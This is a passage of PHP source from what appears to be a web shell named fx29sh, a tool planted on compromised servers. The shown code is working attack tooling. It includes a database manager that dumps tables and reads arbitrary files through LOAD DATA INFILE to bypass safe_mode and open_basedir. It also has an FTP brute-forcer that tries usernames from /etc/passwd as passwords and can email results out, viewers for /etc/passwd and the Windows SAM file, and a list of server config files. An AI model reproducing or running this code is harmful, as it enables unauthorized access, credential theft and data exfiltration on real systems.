691 if ($sql_tbl_insert_radio == 1) {
692 $keys = "";
693 $akeys = array_keys($sql_tbl_insert);
694 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
695 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
696 $values = "";
697 $i = 0;
698 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
699 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
700 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
701 $sql_act = "query";
702 $sql_tbl_act = "browse";
703 }
704 elseif ($sql_tbl_insert_radio == 2) {
705 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
706 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
707 $result = mysql_query($sql_query) or print(mysql_smarterror());
708 $result = mysql_fetch_array($result, MYSQL_ASSOC);
709 $sql_act = "query";
710 $sql_tbl_act = "browse";
711 }
712 }
713 if ($sql_act == "query") {
714 echo "<hr size=\"1\" noshade>";
715 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
716 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
717 if ((!$submit) or ($sql_act)) { echo "<table><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; }
718 }
719 if (in_array($sql_act,$acts)) {
720 ?>
721 <table>
722 <tr>
723 <td>
724 <b>Create new table:</b>
725 <form action="<?php echo $surl; ?>">
726 <input type="hidden" name="act" value="sql">
727 <input type="hidden" name="sql_act" value="newtbl">
728 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
729 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
730 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
731 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
732 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
733 <input type="text" name="sql_newtbl" size="20">
734 Fields: <input type="text" name="sql_field" size="3">
735 <input type="submit" value="Create">
736 </form>
737 </td>
738 <td><b>Dump DB:</b>
739 <form action="<?php echo $surl; ?>">
740 <input type="hidden" name="act" value="sql">
741 <input type="hidden" name="sql_act" value="dump">
742 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
743 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
744 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
745 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
746 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
747 <input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">
748 <input type="submit" name="submit" value="Dump">
749 </form>
750 </td>
751 </tr>
752 </table>
753<?php
754 if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; }
755 if ($sql_act == "newtbl") {
756 echo "<b>";
757 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
758 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
759 }
760 else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); }
761 }
762 elseif ($sql_act == "dump") {
763 if (empty($submit)) {
764 $diplay = FALSE;
765 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
766 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
767 $v = join (";",$dmptbls);
768 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
769 if ($dump_file) {$tmp = $dump_file;}
770 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
771 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
772 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
773 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
774 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
775 echo "</form>";
776 }
777 else {
778 $diplay = TRUE;
779 $set = array();
780 $set["sock"] = $sql_sock;
781 $set["db"] = $sql_db;
782 $dump_out = "download";
783 $set["print"] = 0;
784 $set["nl2br"] = 0;
785 $set[""] = 0;
786 $set["file"] = $dump_file;
787 $set["add_drop"] = TRUE;
788 $set["onlytabs"] = array();
789 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
790 $ret = mysql_dump($set);
791 if ($sql_dump_download) {
792 @ob_clean();
793 header("Content-type: application/octet-stream");
794 header("Content-length: ".strlen($ret));
795 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
796 echo $ret;
797 exit;
798 }
799 elseif ($sql_dump_savetofile) {
800 $fp = fopen($sql_dump_file,"w");
801 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
802 else {
803 fwrite($fp,$ret);
804 fclose($fp);
805 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
806 }
807 }
808 else {echo "<b>Dump: nothing to do!</b>";}
809 }
810 }
811 if ($diplay) {
812 if (!empty($sql_tbl)) {
813 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
814 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
815 $count_row = mysql_fetch_array($count);
816 mysql_free_result($count);
817 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
818 $tbl_struct_fields = array();
819 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
820 if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
821 if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
822 if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
823 if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
824 $perpage = $sql_tbl_le - $sql_tbl_ls;
825 if (!is_numeric($perpage)) { $perpage = 10; }
826 $numpages = $count_row[0]/$perpage;
827 $e = explode(" ",$sql_order);
828 if (count($e) == 2) {
829 if ($e[0] == "d") { $asc_desc = "DESC"; }
830 else { $asc_desc = "ASC"; }
831 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
832 }
833 else {$v = "";}
834 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
835 $result = mysql_query($query) or print(mysql_smarterror());
836 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
837 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
838 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
839 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
840 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
841 if ($sql_tbl_act == "structure") { echo "<b>Under construction!</b>"; }
842 if ($sql_tbl_act == "insert") {
843 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
844 if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
845 else {
846 echo "<br><br><b>Inserting row into table:</b><br>";
847 if (!empty($sql_tbl_insert_q)) {
848 $sql_query = "SELECT * FROM `".$sql_tbl."`";
849 $sql_query .= " WHERE".$sql_tbl_insert_q;
850 $sql_query .= " LIMIT 1;";
851 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
852 $values = mysql_fetch_assoc($result);
853 mysql_free_result($result);
854 }
855 else {$values = array();}
856 echo "<form method=\"POST\"><table width=\"1%\"><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
857 foreach ($tbl_struct_fields as $field) {
858 $name = $field["Field"];
859 if (empty($sql_tbl_insert_q)) {$v = "";}
860 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
861 $i++;
862 }
863 echo "</table><br>";
864 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
865 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
866 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
867 }
868 }
869 if ($sql_tbl_act == "browse") {
870 $sql_tbl_ls = abs($sql_tbl_ls);
871 $sql_tbl_le = abs($sql_tbl_le);
872 echo "<hr size=\"1\" noshade>";
873 echo "<img src=\"".$surl."act=img&img=multipage\" alt=\"Pages\"> ";
874 $b = 0;
875 for($i=0;$i<$numpages;$i++) {
876 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
877 echo $i;
878 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
879 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
880 else { echo " "; }
881 }
882 if ($i == 0) {echo "empty";}
883 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
884 echo "<br><form method=\"POST\">\n";
885 echo "<table><tr>";
886 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
887 for ($i=0;$i<mysql_num_fields($result);$i++) {
888 $v = mysql_field_name($result,$i);
889 if ($e[0] == "a") {$s = "d"; $m = "asc";}
890 else {$s = "a"; $m = "desc";}
891 echo "<td>";
892 if (empty($e[0])) {$e[0] = "a";}
893 if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."".$v."\"><b>".$v."</b></a>";}
894 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}
895 echo "</td>";
896 }
897 echo "<td><font color=\"green\"><b>Action</b></font></td>";
898 echo "</tr>";
899 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
900 echo "<tr>";
901 $w = "";
902 $i = 0;
903 foreach ($row as $k=>$v) {
904 $name = mysql_field_name($result,$i);
905 $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
906 }
907 if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
908 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
909 $i = 0;
910 foreach ($row as $k=>$v) {
911 $v = htmlspecialchars($v);
912 if ($v == "") { $v = "<font color=\"green\">NULL</font>"; }
913 echo "<td>".$v."</td>";
914 $i++;
915 }
916 echo "<td>";
917 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a> ";
918 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";
919 echo "</td>";
920 echo "</tr>";
921 }
922 mysql_free_result($result);
923 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" alt=\" ^ \"><select name=\"sql_act\">";
924 echo "<option value=\"\">With selected:</option>";
925 echo "<option value=\"deleterow\">Delete</option>";
926 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
927 }
928 }
929 else {
930 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
931 if (!$result) { echo mysql_smarterror(); }
932 else {
933?>
934 <form method="POST">
935 <table>
936 <tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>
937<?php
938 $i = 0;
939 $tsize = $trows = 0;
940 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
941 $tsize += $row["Data_length"];
942 $trows += $row["Rows"];
943 $size = view_size($row["Data_length"]);
944?>
945 <tr>
946 <td><input type="checkbox" name="boxtbl[]" value="<?php echo $row["Name"]; ?>"></td>
947 <td><a href="<?php echo $sql_surl; ?>sql_tbl=<?php echo urlencode($row["Name"]); ?>"><b><?php echo $row["Name"]; ?></b></a></td>
948 <td><?php echo $row["Rows"]; ?></td><td><?php echo $row["Engine"]; ?></td><td><?php echo $row["Create_time"]; ?></td><td><?php echo $row["Update_time"]; ?></td><td><?php echo $size; ?></td>
949 <td><a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DELETE FROM `".$row["Name"]."`"); ?>">Empty</a> <a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DROP TABLE `".$row["Name"]."`"); ?>">Drop</a> <a href="<?php echo $sql_surl; ?>sql_tbl_act=insert&sql_tbl=<?php echo $row["Name"]; ?>">Insert</a></td>
950 </tr>
951<?php
952 $i++;
953 }
954 echo "\t\t<tr>\n".
955 "\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n";
956?>
957 </tr>
958 </table>
959 <div align="right">
960 <select name="sql_act">
961 <option value="">With selected:</option>
962 <option value="tbldrop">Drop</option>
963 <option value="tblempty">Empty</option>";
964 <option value="tbldump">Dump</option>";
965 <option value="tblcheck">Check table</option>";
966 <option value="tbloptimize">Optimize table</option>";
967 <option value="tblrepair">Repair table</option>";
968 <option value="tblanalyze">Analyze table</option>";
969 </select>
970 <input type="submit" value="Confirm">
971 </div>
972 </form>
973<?php
974 mysql_free_result($result);
975 }
976 }
977 }
978 }
979 }
980 else {
981 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
982 if (in_array($sql_act,$acts)) {
983?>
984 <table>
985 <tr>
986 <td><b>Create new DB:</b>
987 <form action="<?php echo $surl; ?>">
988 <input type="hidden" name="act" value="sql">
989 <input type="hidden" name="sql_act" value="newdb">
990 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
991 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
992 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
993 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
994 <input type="text" name="sql_newdb" size="20">
995 <input type="submit" value="Create">
996 </form>
997 </td>
998 <td><b>View File:</b>
999 <form action="<?php echo $surl; ?>">
1000 <input type="hidden" name="act" value="sql">
1001 <input type="hidden" name="sql_act" value="getfile">
1002 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
1003 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
1004 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
1005 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
1006 <input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">
1007 <input type="submit" value="Get">
1008 </form>
1009 </td>
1010 </tr>
1011 </table>
1012<?php
1013 }
1014
1015 ##[ SQL ACTIONS ]##
1016 if (!empty($sql_act)) {
1017 echo "<hr size=\"1\" noshade>";
1018 if ($sql_act == "newdb") {
1019 echo "<b>";
1020 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1021 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1022 }
1023 if ($sql_act == "serverstatus") {
1024 $result = mysql_query("SHOW STATUS", $sql_sock);
1025 echo "<center><b>Server-status variables:</b><br><br>";
1026 echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>";
1027 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1028 echo "</table></center>";
1029 mysql_free_result($result);
1030 }
1031 if ($sql_act == "servervars") {
1032 $result = mysql_query("SHOW VARIABLES", $sql_sock);
1033 echo "<center><b>Server variables:</b><br><br>";
1034 echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>";
1035 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1036 echo "</table>";
1037 mysql_free_result($result);
1038 }
1039 if ($sql_act == "processes") {
1040 if (!empty($kill)) {
1041 $query = "KILL ".$kill.";";
1042 $result = mysql_query($query, $sql_sock);
1043 echo "<b>Process #".$kill." was killed.</b>";
1044 }
1045 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1046 echo "<center><b>Processes:</b><br><br>";
1047 echo "<table><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1048 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1049 echo "</table>";
1050 mysql_free_result($result);
1051 }
1052 if ($sql_act == "getfile") {
1053 $tmpdb = $sql_login."_tmpdb";
1054 $select = mysql_select_db($tmpdb);
1055 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1056 if ($select) {
1057 $created = FALSE;
1058 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1059 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1060 $result = mysql_query("SELECT * FROM tmp_file;");
1061 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1062 else {
1063 for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
1064 $f = "";
1065 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); }
1066 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1067 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1068 mysql_free_result($result);
1069 mysql_query("DROP TABLE tmp_file;");
1070 }
1071 }
1072 mysql_drop_db($tmpdb);
1073 }
1074 }
1075 }
1076 }
1077?>
1078 </td>
1079 </tr>
1080<?php
1081 if ($sql_sock) {
1082 $affected = @mysql_affected_rows($sql_sock);
1083 if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
1084 echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>";
1085 }
1086?>
1087
1088</table>
1089<!-- End of SQL Manager -->
1090
1091<?php
1092 }
1093 if ($act == "ftpquickbrute") {
1094 echo "<table>\n";
1095 echo "<tr><td class=\"barheader\" colspan=2>.: Ftp Quick Brute :.</td></tr>";
1096 echo "<tr><td>";
1097 if (!empty($submit)) {
1098 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1099 $fp = fopen("/etc/passwd","r");
1100 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1101 else {
1102 if ($fqb_logging) {
1103 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1104 else {$fqb_logfp = FALSE;}
1105 $fqb_log = "FTP Quick Brute (".sh_name().") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1106 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1107 }
1108 @ob_flush();
1109 $i = $success = 0;
1110 $ftpquick_st = getmicrotime();
1111 while(!feof($fp)) {
1112 $str = explode(":",fgets($fp,2048));
1113 if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
1114 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1115 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1116 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1117 $success++;
1118 ob_flush();
1119 }
1120 if ($i > $fqb_lenght) {break;}
1121 $i++;
1122 }
1123 if ($success == 0) { echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n"; }
1124 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1125 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font class=on><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1126 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1127 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1128 if ($fqb_logemail) {@mail($fqb_logemail,"".sh_name()." report",$fqb_log);}
1129 fclose($fqb_logfp);
1130 }
1131 }
1132 else {
1133 $logfile = $tmp_dir."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1134 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1135 echo "<form name=\"f_ftpqb\" action=\"".$surl."\">\n".
1136 "<input type=hidden name=act value=\"ftpquickbrute\">\n".
1137 "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
1138 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
1139 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
1140 "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
1141 "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
1142 "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
1143 }
1144 echo "</td></tr></table></center>";
1145 }
1146 ##[ SECURITY ]##
1147 if ($act == "security") {
1148?>
1149<div class=barheader>.: Server Security Information :.</div>
1150
1151<table class="contents">
1152 <tr><td>Open Base Dir</td><td><?php echo $hopenbasedir; ?></td></tr>
1153 <td>Password File</td><td>
1154<?php
1155 if (!is_windows()) {
1156 if ($nixpasswd) {
1157 if ($nixpasswd == 1) { $nixpasswd = 0; }
1158 if (!is_numeric($nixpwd_s)) { $nixpwd_s = 0; }
1159 if (!is_numeric($nixpwd_e)) { $nixpwd_e = $nixpwdperpage; }
1160?>
1161 *nix /etc/passwd:<br>
1162 <form name="f_pwd" action="<?php echo $surl; ?>">
1163 <input type="hidden" name="act" value="security">
1164 <input type="hidden" name="nixpasswd" value="1">
1165 <b>From:</b>
1166 <input type="text" name="nixpwd_s" value="<?php echo $nixpwd_s; ?>">
1167 <b>To:</b>
1168 <input type="text" name="nixpwd_e" value="<?php $nixpwd_e; ?>">
1169 <input type="submit" value="View">
1170 </form><br>
1171<?php
1172 $i = $nixpwd_s;
1173 while ($i < $nixpwd_e) {
1174 $uid = posix_getpwuid($i);
1175 if ($uid) {
1176 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1177 echo "\t\t".join(":",$uid)."<br>\n";
1178 }
1179 $i++;
1180 }
1181 }
1182 else { echo "\t<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>View /etc/passwd</b></a>\n"; }
1183 }
1184 else {
1185 $v = $_SERVER["WINDIR"].'\repair\sam';
1186 if (file_get_contents($v)) {
1187 echo "\t<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>\n";
1188 }
1189 }
1190?>
1191 </td></tr>
1192 <tr><td>Config Files</td><td>
1193<?php
1194 if (!is_windows()) {
1195 $v = array(
1196 array("User Domains","/etc/userdomains"),
